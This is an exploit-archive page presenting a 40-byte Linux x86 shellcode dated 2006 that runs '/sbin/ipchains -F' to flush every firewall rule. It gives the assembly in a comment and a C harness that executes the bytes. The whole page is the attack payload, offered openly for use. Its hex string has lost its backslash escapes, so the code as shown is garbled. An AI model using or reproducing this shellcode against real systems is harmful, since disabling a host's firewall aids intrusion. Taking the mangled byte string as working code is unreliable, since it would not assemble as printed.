[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 /sbin/ipchains -F 40 bytes
# Published : 2006-11-17
# Author : Kris Katterjohn
# Previous Title : Download & Exec polymorphed shellcode Engine
# Next Title : linux/x86 set system time to 0 and exit 12 bytes


/* By Kris Katterjohn 11/18/2006
 *
 * 40 byte shellcode to flush ipchains for Linux x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
 *
 *      push byte 11
 *      pop eax
 *      cdq
 *      push edx
 *      push word 0x462d
 *      mov ecx, esp
 *      push edx
 *      push word 0x736e
 *      push 0x69616863
 *      push 0x70692f6e
 *      push 0x6962732f
 *      mov ebx, esp
 *      push edx
 *      push ecx
 *      push ebx
 *      mov ecx, esp
 *      int 0x80
 */

main()
{
       char shellcode[] =
               "x6ax0bx58x99x52x66x68x2dx46x89"
               "xe1x52x66x68x6ex73x68x63x68x61"
               "x69x68x6ex2fx69x70x68x2fx73x62"
               "x69x89xe3x52x51x53x89xe1xcdx80";

       (*(void (*)()) shellcode)();
}

// www.Syue.com [2006-11-17]